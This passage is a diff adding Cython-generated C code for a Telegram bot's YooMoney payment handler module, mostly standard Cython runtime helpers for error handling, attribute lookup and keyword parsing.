"handlers/payments/yoomoney_pay.py":137 + * + * + * async def yoomoney_webhook(request: web.Request): # <<<<<<<<<<<<<< + * data = await request.post() + * logger.debug(f"Webhook event received: {data}") + */ + __pyx_t_6 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 137, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_request, __pyx_kp_s_web_Request) < 0) __PYX_ERR(0, 137, __pyx_L1_error) + __pyx_t_3 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_12yoomoney_pay_7yoomoney_webhook, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_yoomoney_webhook, NULL, __pyx_n_s_handlers_payments_yoomoney_pay, __pyx_d, ((PyObject *)__pyx_codeobj__11)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 137, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_3, __pyx_t_6); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_yoomoney_webhook, __pyx_t_3) < 0) __PYX_ERR(0, 137, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yoomoney_pay.py":171 + * + * + * @router.callback_query(F.data == "enter_custom_amount_yoomoney") # <<<<<<<<<<<<<< + * async def process_enter_custom_amount( + * callback_query: types.CallbackQuery, state: FSMContext + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 171, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 171, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_F); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 171, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_data); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 171, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = PyObject_RichCompare(__pyx_t_5, __pyx_n_u_enter_custom_amount_yoomoney, Py_EQ); __Pyx_XGOTREF(__pyx_t_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 171, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_3); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 171, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 171, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 171, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 171, __pyx_L1_error) + __pyx_t_6 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_12yoomoney_pay_10process_enter_custom_amount, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_enter_custom_amount, NULL, __pyx_n_s_handlers_payments_yoomoney_pay, __pyx_d, ((PyObject *)__pyx_codeobj__14)); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 171, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_6, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_6); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 171, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_enter_custom_amount, __pyx_t_3) < 0) __PYX_ERR(0, 171, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yoomoney_pay.py":186 + * + * + * @router.message(ReplenishBalanceState.entering_custom_amount_yoomoney) # <<<<<<<<<<<<<< + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 186, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_message); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 186, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 186, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_entering_custom_amount_yoomoney); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 186, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_5); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 186, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 186, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_message, __pyx_kp_s_types_Message) < 0) __PYX_ERR(0, 186, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 186, __pyx_L1_error) + __pyx_t_6 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_12yoomoney_pay_13process_custom_amount_input, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_custom_amount_input, NULL, __pyx_n_s_handlers_payments_yoomoney_pay, __pyx_d, ((PyObject *)__pyx_codeobj__18)); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 186, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_6, __pyx_t_5); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_6); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 186, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_custom_amount_input, __pyx_t_5) < 0) __PYX_ERR(0, 186, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/yoomoney_pay.py":1 + * import hashlib # <<<<<<<<<<<<<< + * from typing import Any + * + */ + __pyx_t_5 = __Pyx_PyDict_NewPresized(0); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_test, __pyx_t_5) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /*--- Wrapped vars code ---*/ + + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_5); + __Pyx_XDECREF(__pyx_t_6); + __Pyx_XDECREF(__pyx_t_7); + __Pyx_XDECREF(__pyx_t_8); + if (__pyx_m) { + if (__pyx_d && stringtab_initialized) { + __Pyx_AddTraceback("init handlers.payments.yoomoney_pay", __pyx_clineno, __pyx_lineno, __pyx_filename); + } + #if !CYTHON_USE_MODULE_STATE + Py_CLEAR(__pyx_m); + #else + Py_DECREF(__pyx_m); + if (pystate_addmodule_run) { + PyObject *tp, *value, *tb; + PyErr_Fetch(&tp, &value, &tb); + PyState_RemoveModule(&__pyx_moduledef); + PyErr_Restore(tp, value, tb); + } + #endif + } else if (!PyErr_Occurred()) { + PyErr_SetString(PyExc_ImportError, "init handlers.payments.yoomoney_pay"); + } + __pyx_L0:; + __Pyx_RefNannyFinishContext(); + #if CYTHON_PEP489_MULTI_PHASE_INIT + return (__pyx_m != NULL) ? 0 : -1; + #elif PY_MAJOR_VERSION >= 3 + return __pyx_m; + #else + return; + #endif +} +/* #### Code section: cleanup_globals ### */ +/* #### Code section: cleanup_module ### */ +/* #### Code section: main_method ### */ +/* #### Code section: utility_code_pragmas ### */ +#ifdef _MSC_VER +#pragma warning( push ) +/* Warning 4127: conditional expression is constant + * Cython uses constant conditional expressions to allow in inline functions to be optimized at + * compile-time, so this warning is not useful + */ +#pragma warning( disable : 4127 ) +#endif + + + +/* #### Code section: utility_code_def ### */ + +/* --- Runtime support code --- */ +/* Refnanny */ +#if CYTHON_REFNANNY +static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname) { + PyObject *m = NULL, *p = NULL; + void *r = NULL; + m = PyImport_ImportModule(modname); + if (!m) goto end; + p = PyObject_GetAttrString(m, "RefNannyAPI"); + if (!p) goto end; + r = PyLong_AsVoidPtr(p); +end: + Py_XDECREF(p); + Py_XDECREF(m); + return (__Pyx_RefNannyAPIStruct *)r; +} +#endif + +/* PyErrExceptionMatches */ +#if CYTHON_FAST_THREAD_STATE +static int __Pyx_PyErr_ExceptionMatchesTuple(PyObject *exc_type, PyObject *tuple) { + Py_ssize_t i, n; + n = PyTuple_GET_SIZE(tuple); +#if PY_MAJOR_VERSION >= 3 + for (i=0; i= 0x030C00A6 + PyObject *current_exception = tstate->current_exception; + if (unlikely(!current_exception)) return 0; + exc_type = (PyObject*) Py_TYPE(current_exception); + if (exc_type == err) return 1; +#else + exc_type = tstate->curexc_type; + if (exc_type == err) return 1; + if (unlikely(!exc_type)) return 0; +#endif + #if CYTHON_AVOID_BORROWED_REFS + Py_INCREF(exc_type); + #endif + if (unlikely(PyTuple_Check(err))) { + result = __Pyx_PyErr_ExceptionMatchesTuple(exc_type, err); + } else { + result = __Pyx_PyErr_GivenExceptionMatches(exc_type, err); + } + #if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(exc_type); + #endif + return result; +} +#endif + +/* PyErrFetchRestore */ +#if CYTHON_FAST_THREAD_STATE +static CYTHON_INLINE void __Pyx_ErrRestoreInState(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb) { +#if PY_VERSION_HEX >= 0x030C00A6 + PyObject *tmp_value; + assert(type == NULL || (value != NULL && type == (PyObject*) Py_TYPE(value))); + if (value) { + #if CYTHON_COMPILING_IN_CPYTHON + if (unlikely(((PyBaseExceptionObject*) value)->traceback != tb)) + #endif + PyException_SetTraceback(value, tb); + } + tmp_value = tstate->current_exception; + tstate->current_exception = value; + Py_XDECREF(tmp_value); + Py_XDECREF(type); + Py_XDECREF(tb); +#else + PyObject *tmp_type, *tmp_value, *tmp_tb; + tmp_type = tstate->curexc_type; + tmp_value = tstate->curexc_value; + tmp_tb = tstate->curexc_traceback; + tstate->curexc_type = type; + tstate->curexc_value = value; + tstate->curexc_traceback = tb; + Py_XDECREF(tmp_type); + Py_XDECREF(tmp_value); + Py_XDECREF(tmp_tb); +#endif +} +static CYTHON_INLINE void __Pyx_ErrFetchInState(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { +#if PY_VERSION_HEX >= 0x030C00A6 + PyObject* exc_value; + exc_value = tstate->current_exception; + tstate->current_exception = 0; + *value = exc_value; + *type = NULL; + *tb = NULL; + if (exc_value) { + *type = (PyObject*) Py_TYPE(exc_value); + Py_INCREF(*type); + #if CYTHON_COMPILING_IN_CPYTHON + *tb = ((PyBaseExceptionObject*) exc_value)->traceback; + Py_XINCREF(*tb); + #else + *tb = PyException_GetTraceback(exc_value); + #endif + } +#else + *type = tstate->curexc_type; + *value = tstate->curexc_value; + *tb = tstate->curexc_traceback; + tstate->curexc_type = 0; + tstate->curexc_value = 0; + tstate->curexc_traceback = 0; +#endif +} +#endif + +/* PyObjectGetAttrStr */ +#if CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStr(PyObject* obj, PyObject* attr_name) { + PyTypeObject* tp = Py_TYPE(obj); + if (likely(tp->tp_getattro)) + return tp->tp_getattro(obj, attr_name); +#if PY_MAJOR_VERSION < 3 + if (likely(tp->tp_getattr)) + return tp->tp_getattr(obj, PyString_AS_STRING(attr_name)); +#endif + return PyObject_GetAttr(obj, attr_name); +} +#endif + +/* PyObjectGetAttrStrNoError */ +#if __PYX_LIMITED_VERSION_HEX < 0x030d00A1 +static void __Pyx_PyObject_GetAttrStr_ClearAttributeError(void) { + __Pyx_PyThreadState_declare + __Pyx_PyThreadState_assign + if (likely(__Pyx_PyErr_ExceptionMatches(PyExc_AttributeError))) + __Pyx_PyErr_Clear(); +} +#endif +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStrNoError(PyObject* obj, PyObject* attr_name) { + PyObject *result; +#if __PYX_LIMITED_VERSION_HEX >= 0x030d00A1 + (void) PyObject_GetOptionalAttr(obj, attr_name, &result); + return result; +#else +#if CYTHON_COMPILING_IN_CPYTHON && CYTHON_USE_TYPE_SLOTS && PY_VERSION_HEX >= 0x030700B1 + PyTypeObject* tp = Py_TYPE(obj); + if (likely(tp->tp_getattro == PyObject_GenericGetAttr)) { + return _PyObject_GenericGetAttrWithDict(obj, attr_name, NULL, 1); + } +#endif + result = __Pyx_PyObject_GetAttrStr(obj, attr_name); + if (unlikely(!result)) { + __Pyx_PyObject_GetAttrStr_ClearAttributeError(); + } + return result; +#endif +} + +/* GetBuiltinName */ +static PyObject *__Pyx_GetBuiltinName(PyObject *name) { + PyObject* result = __Pyx_PyObject_GetAttrStrNoError(__pyx_b, name); + if (unlikely(!result) && !PyErr_Occurred()) { + PyErr_Format(PyExc_NameError, +#if PY_MAJOR_VERSION >= 3 + "name '%U' is not defined", name); +#else + "name '%.200s' is not defined", PyString_AS_STRING(name)); +#endif + } + return result; +} + +/* TupleAndListFromArray */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE void __Pyx_copy_object_array(PyObject *const *CYTHON_RESTRICT src, PyObject** CYTHON_RESTRICT dest, Py_ssize_t length) { + PyObject *v; + Py_ssize_t i; + for (i = 0; i < length; i++) { + v = dest[i] = src[i]; + Py_INCREF(v); + } +} +static CYTHON_INLINE PyObject * +__Pyx_PyTuple_FromArray(PyObject *const *src, Py_ssize_t n) +{ + PyObject *res; + if (n <= 0) { + Py_INCREF(__pyx_empty_tuple); + return __pyx_empty_tuple; + } + res = PyTuple_New(n); + if (unlikely(res == NULL)) return NULL; + __Pyx_copy_object_array(src, ((PyTupleObject*)res)->ob_item, n); + return res; +} +static CYTHON_INLINE PyObject * +__Pyx_PyList_FromArray(PyObject *const *src, Py_ssize_t n) +{ + PyObject *res; + if (n <= 0) { + return PyList_New(0); + } + res = PyList_New(n); + if (unlikely(res == NULL)) return NULL; + __Pyx_copy_object_array(src, ((PyListObject*)res)->ob_item, n); + return res; +} +#endif + +/* BytesEquals */ +static CYTHON_INLINE int __Pyx_PyBytes_Equals(PyObject* s1, PyObject* s2, int equals) { +#if CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API + return PyObject_RichCompareBool(s1, s2, equals); +#else + if (s1 == s2) { + return (equals == Py_EQ); + } else if (PyBytes_CheckExact(s1) & PyBytes_CheckExact(s2)) { + const char *ps1, *ps2; + Py_ssize_t length = PyBytes_GET_SIZE(s1); + if (length != PyBytes_GET_SIZE(s2)) + return (equals == Py_NE); + ps1 = PyBytes_AS_STRING(s1); + ps2 = PyBytes_AS_STRING(s2); + if (ps1[0] != ps2[0]) { + return (equals == Py_NE); + } else if (length == 1) { + return (equals == Py_EQ); + } else { + int result; +#if CYTHON_USE_UNICODE_INTERNALS && (PY_VERSION_HEX < 0x030B0000) + Py_hash_t hash1, hash2; + hash1 = ((PyBytesObject*)s1)->ob_shash; + hash2 = ((PyBytesObject*)s2)->ob_shash; + if (hash1 != hash2 && hash1 != -1 && hash2 != -1) { + return (equals == Py_NE); + } +#endif + result = memcmp(ps1, ps2, (size_t)length); + return (equals == Py_EQ) ? (result == 0) : (result != 0); + } + } else if ((s1 == Py_None) & PyBytes_CheckExact(s2)) { + return (equals == Py_NE); + } else if ((s2 == Py_None) & PyBytes_CheckExact(s1)) { + return (equals == Py_NE); + } else { + int result; + PyObject* py_result = PyObject_RichCompare(s1, s2, equals); + if (!py_result) + return -1; + result = __Pyx_PyObject_IsTrue(py_result); + Py_DECREF(py_result); + return result; + } +#endif +} + +/* UnicodeEquals */ +static CYTHON_INLINE int __Pyx_PyUnicode_Equals(PyObject* s1, PyObject* s2, int equals) { +#if CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API + return PyObject_RichCompareBool(s1, s2, equals); +#else +#if PY_MAJOR_VERSION < 3 + PyObject* owned_ref = NULL; +#endif + int s1_is_unicode, s2_is_unicode; + if (s1 == s2) { + goto return_eq; + } + s1_is_unicode = PyUnicode_CheckExact(s1); + s2_is_unicode = PyUnicode_CheckExact(s2); +#if PY_MAJOR_VERSION < 3 + if ((s1_is_unicode & (!s2_is_unicode)) && PyString_CheckExact(s2)) { + owned_ref = PyUnicode_FromObject(s2); + if (unlikely(!owned_ref)) + return -1; + s2 = owned_ref; + s2_is_unicode = 1; + } else if ((s2_is_unicode & (!s1_is_unicode)) && PyString_CheckExact(s1)) { + owned_ref = PyUnicode_FromObject(s1); + if (unlikely(!owned_ref)) + return -1; + s1 = owned_ref; + s1_is_unicode = 1; + } else if (((!s2_is_unicode) & (!s1_is_unicode))) { + return __Pyx_PyBytes_Equals(s1, s2, equals); + } +#endif + if (s1_is_unicode & s2_is_unicode) { + Py_ssize_t length; + int kind; + void *data1, *data2; + if (unlikely(__Pyx_PyUnicode_READY(s1) < 0) || unlikely(__Pyx_PyUnicode_READY(s2) < 0)) + return -1; + length = __Pyx_PyUnicode_GET_LENGTH(s1); + if (length != __Pyx_PyUnicode_GET_LENGTH(s2)) { + goto return_ne; + } +#if CYTHON_USE_UNICODE_INTERNALS + { + Py_hash_t hash1, hash2; + #if CYTHON_PEP393_ENABLED + hash1 = ((PyASCIIObject*)s1)->hash; + hash2 = ((PyASCIIObject*)s2)->hash; + #else + hash1 = ((PyUnicodeObject*)s1)->hash; + hash2 = ((PyUnicodeObject*)s2)->hash; + #endif + if (hash1 != hash2 && hash1 != -1 && hash2 != -1) { + goto return_ne; + } + } +#endif + kind = __Pyx_PyUnicode_KIND(s1); + if (kind != __Pyx_PyUnicode_KIND(s2)) { + goto return_ne; + } + data1 = __Pyx_PyUnicode_DATA(s1); + data2 = __Pyx_PyUnicode_DATA(s2); + if (__Pyx_PyUnicode_READ(kind, data1, 0) != __Pyx_PyUnicode_READ(kind, data2, 0)) { + goto return_ne; + } else if (length == 1) { + goto return_eq; + } else { + int result = memcmp(data1, data2, (size_t)(length * kind)); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + return (equals == Py_EQ) ? (result == 0) : (result != 0); + } + } else if ((s1 == Py_None) & s2_is_unicode) { + goto return_ne; + } else if ((s2 == Py_None) & s1_is_unicode) { + goto return_ne; + } else { + int result; + PyObject* py_result = PyObject_RichCompare(s1, s2, equals); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + if (!py_result) + return -1; + result = __Pyx_PyObject_IsTrue(py_result); + Py_DECREF(py_result); + return result; + } +return_eq: + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + return (equals == Py_EQ); +return_ne: + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + return (equals == Py_NE); +#endif +} + +/* fastcall */ +#if CYTHON_METH_FASTCALL +static CYTHON_INLINE PyObject * __Pyx_GetKwValue_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues, PyObject *s) +{ + Py_ssize_t i, n = PyTuple_GET_SIZE(kwnames); + for (i = 0; i < n; i++) + { + if (s == PyTuple_GET_ITEM(kwnames, i)) return kwvalues[i]; + } + for (i = 0; i < n; i++) + { + int eq = __Pyx_PyUnicode_Equals(s, PyTuple_GET_ITEM(kwnames, i), Py_EQ); + if (unlikely(eq != 0)) { + if (unlikely(eq < 0)) return NULL; + return kwvalues[i]; + } + } + return NULL; +} +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030d0000 +CYTHON_UNUSED static PyObject *__Pyx_KwargsAsDict_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues) { + Py_ssize_t i, nkwargs = PyTuple_GET_SIZE(kwnames); + PyObject *dict; + dict = PyDict_New(); + if (unlikely(!dict)) + return NULL; + for (i=0; i= 3 + "%s() got multiple values for keyword argument '%U'", func_name, kw_name); + #else + "%s() got multiple values for keyword argument '%s'", func_name, + PyString_AsString(kw_name)); + #endif +} + +/* ParseKeywords */ +static int __Pyx_ParseOptionalKeywords( + PyObject *kwds, + PyObject *const *kwvalues, + PyObject **argnames[], + PyObject *kwds2, + PyObject *values[], + Py_ssize_t num_pos_args, + const char* function_name) +{ + PyObject *key = 0, *value = 0; + Py_ssize_t pos = 0; + PyObject*** name; + PyObject*** first_kw_arg = argnames + num_pos_args; + int kwds_is_tuple = CYTHON_METH_FASTCALL && likely(PyTuple_Check(kwds)); + while (1) { + Py_XDECREF(key); key = NULL; + Py_XDECREF(value); value = NULL; + if (kwds_is_tuple) { + Py_ssize_t size; +#if CYTHON_ASSUME_SAFE_MACROS + size = PyTuple_GET_SIZE(kwds); +#else + size = PyTuple_Size(kwds); + if (size < 0) goto bad; +#endif + if (pos >= size) break; +#if CYTHON_AVOID_BORROWED_REFS + key = __Pyx_PySequence_ITEM(kwds, pos); + if (!key) goto bad; +#elif CYTHON_ASSUME_SAFE_MACROS + key = PyTuple_GET_ITEM(kwds, pos); +#else + key = PyTuple_GetItem(kwds, pos); + if (!key) goto bad; +#endif + value = kwvalues[pos]; + pos++; + } + else + { + if (!PyDict_Next(kwds, &pos, &key, &value)) break; +#if CYTHON_AVOID_BORROWED_REFS + Py_INCREF(key); +#endif + } + name = first_kw_arg; + while (*name && (**name != key)) name++; + if (*name) { + values[name-argnames] = value; +#if CYTHON_AVOID_BORROWED_REFS + Py_INCREF(value); + Py_DECREF(key); +#endif + key = NULL; + value = NULL; + continue; + } +#if !CYTHON_AVOID_BORROWED_REFS + Py_INCREF(key); +#endif + Py_INCREF(value); + name = first_kw_arg; + #if PY_MAJOR_VERSION < 3 + if (likely(PyString_Check(key))) { + while (*name) { + if ((CYTHON_COMPILING_IN_PYPY || PyString_GET_SIZE(**name) == PyString_GET_SIZE(key)) + && _PyString_Eq(**name, key)) { + values[name-argnames] = value; +#if CYTHON_AVOID_BORROWED_REFS + value = NULL; +#endif + break; + } + name++; + } + if (*name) continue; + else { + PyObject*** argname = argnames; + while (argname != first_kw_arg) { + if ((**argname == key) || ( + (CYTHON_COMPILING_IN_PYPY || PyString_GET_SIZE(**argname) == PyString_GET_SIZE(key)) + && _PyString_Eq(**argname, key))) { + goto arg_passed_twice; + } + argname++; + } + } + } else + #endif + if (likely(PyUnicode_Check(key))) { + while (*name) { + int cmp = ( + #if !CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION >= 3 + (__Pyx_PyUnicode_GET_LENGTH(**name) != __Pyx_PyUnicode_GET_LENGTH(key)) ? 1 : + #endif + PyUnicode_Compare(**name, key) + ); + if (cmp < 0 && unlikely(PyErr_Occurred())) goto bad; + if (cmp == 0) { + values[name-argnames] = value; +#if CYTHON_AVOID_BORROWED_REFS + value = NULL; +#endif + break; + } + name++; + } + if (*name) continue; + else { + PyObject*** argname = argnames; + while (argname != first_kw_arg) { + int cmp = (**argname == key) ? 0 : + #if !CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION >= 3 + (__Pyx_PyUnicode_GET_LENGTH(**argname) != __Pyx_PyUnicode_GET_LENGTH(key)) ? 1 : + #endif + PyUnicode_Compare(**argname, key); + if (cmp < 0 && unlikely(PyErr_Occurred())) goto bad; + if (cmp == 0) goto arg_passed_twice; + argname++; + } + } + } else + goto invalid_keyword_type; + if (kwds2) { + if (unlikely(PyDict_SetItem(kwds2, key, value))) goto bad; + } else { + goto invalid_keyword; + } + } + Py_XDECREF(key); + Py_XDECREF(value); + return 0; +arg_passed_twice: + __Pyx_RaiseDoubleKeywordsError(function_name, key); + goto bad; +invalid_keyword_type: + PyErr_Format(PyExc_TypeError, + "%.200s() keywords must be strings", function_name); + goto bad; +invalid_keyword: + #if PY_MAJOR_VERSION < 3 + PyErr_Format(PyExc_TypeError, + "%.200s() got an unexpected keyword argument '%.200s'", + function_name, PyString_AsString(key)); + #else + PyErr_Format(PyExc_TypeError, + "%s() got an unexpected keyword argument '%U'", + function_name, key); + #endif +bad: + Py_XDECREF(key); + Py_XDECREF(value); + return -1; +} + +/* PyDictVersioning */ +#if CYTHON_USE_DICT_VERSIONS && CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PY_UINT64_T __Pyx_get_tp_dict_version(PyObject *obj) { + PyObject *dict = Py_TYPE(obj)->tp_dict; + return likely(dict) ? __PYX_GET_DICT_VERSION(dict) : 0; +} +static CYTHON_INLINE PY_UINT64_T __Pyx_get_object_dict_version(PyObject *obj) { + PyObject **dictptr = NULL; + Py_ssize_t offset = Py_TYPE(obj)->tp_dictoffset; + if (offset) { +#if CYTHON_COMPILING_IN_CPYTHON + dictptr = (likely(offset > 0)) ? (PyObject **) ((char *)obj + offset) : _PyObject_GetDictPtr(obj); +#else + dictptr = _PyObject_GetDictPtr(obj); +#endif + } + return (dictptr && *dictptr) ? __PYX_GET_DICT_VERSION(*dictptr) : 0; +} +static CYTHON_INLINE int __Pyx_object_dict_version_matches(PyObject* obj, PY_UINT64_T tp_dict_version, PY_UINT64_T obj_dict_version) { + PyObject *dict = Py_TYPE(obj)->tp_dict; + if (unlikely(!dict) || unlikely(tp_dict_version != __PYX_GET_DICT_VERSION(dict))) + return 0; + return obj_dict_version == __Pyx_get_object_dict_version(obj); +} +#endif + +/* GetModuleGlobalName */ +#if CYTHON_USE_DICT_VERSIONS +static PyObject *__Pyx__GetModuleGlobalName(PyObject *name, PY_UINT64_T *dict_version, PyObject **dict_cached_value) +#else +static CYTHON_INLINE PyObject *__Pyx__GetModuleGlobalName(PyObject *name) +#endif +{ + PyObject *result; +#if !CYTHON_AVOID_BORROWED_REFS +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030500A1 && PY_VERSION_HEX < 0x030d0000 + result = _PyDict_GetItem_KnownHash(__pyx_d, name, ((PyASCIIObject *) name)->hash); + __PYX_UPDATE_DICT_CACHE(__pyx_d, result, *dict_cached_value, *dict_version) + if (likely(result)) { + return __Pyx_NewRef(result); + } else if (unlikely(PyErr_Occurred())) { + return NULL; + } +#elif CYTHON_COMPILING_IN_LIMITED_API + if (unlikely(!__pyx_m)) { + return NULL; + } + result = PyObject_GetAttr(__pyx_m, name); + if (likely(result)) { + return result; + } +#else + result = PyDict_GetItem(__pyx_d, name); + __PYX_UPDATE_DICT_CACHE(__pyx_d, result, *dict_cached_value, *dict_version) + if (likely(result)) { + return __Pyx_NewRef(result); + } +#endif +#else + result = PyObject_GetItem(__pyx_d, name); + __PYX_UPDATE_DICT_CACHE(__pyx_d, result, *dict_cached_value, *dict_version) + if (likely(result)) { + return __Pyx_NewRef(result); + } + PyErr_Clear(); +#endif + return __Pyx_GetBuiltinName(name); +} + +/* PyFunctionFastCall */ +#if CYTHON_FAST_PYCALL && !CYTHON_VECTORCALL +static PyObject* __Pyx_PyFunction_FastCallNoKw(PyCodeObject *co, PyObject **args, Py_ssize_t na, + PyObject *globals) { + PyFrameObject *f; + PyThreadState *tstate = __Pyx_PyThreadState_Current; + PyObject **fastlocals; + Py_ssize_t i; + PyObject *result; + assert(globals != NULL); + /* XXX Perhaps we should create a specialized + PyFrame_New() that doesn't take locals, but does + take builtins without sanity checking them. + */ + assert(tstate != NULL); + f = 